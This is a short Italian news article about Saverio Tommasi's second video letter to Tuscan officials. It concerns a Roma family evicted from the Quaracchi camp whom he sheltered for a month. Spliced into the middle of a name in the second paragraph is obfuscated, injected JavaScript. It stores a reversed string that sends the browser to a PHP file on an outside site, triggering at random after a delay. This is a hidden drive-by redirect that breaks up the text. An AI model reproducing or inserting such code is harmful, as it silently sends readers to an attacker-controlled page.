Rom, respinti dall'indifferenza. Nuova videolettera di Tommasi alle istituzioni

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Saverio Tommasi, con l’aiuto della Comunità di base delle Piagge e di don Aless (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andro Santoro, ha ospitato per un mese nella sua Cabina Teatrale sei persone di origine rom sgomberate dal campo di Quaracchi.
I bambini di nove e tredici anni hanno così potuto continuare la scuola e tutti hanno avuto un posto caldo dove dormire.
La videolettera che Tommasi aveva inviato un mese fa a Matteo Renzi, Gianni Gianassi ed Enrico Rossi, chiedendo loro come responsabili delle istituzioni di attivarsi per aiutare queste persone a trovare un alloggio, un lavoro, è rimasta senza risposta.
Oggi quella famiglia è ripartita per la Romania, e Saverio ha deciso di riscrivere alle istituzioni, bussare al loro silenzio e raccontare loro gli ultimi tasselli della storia.

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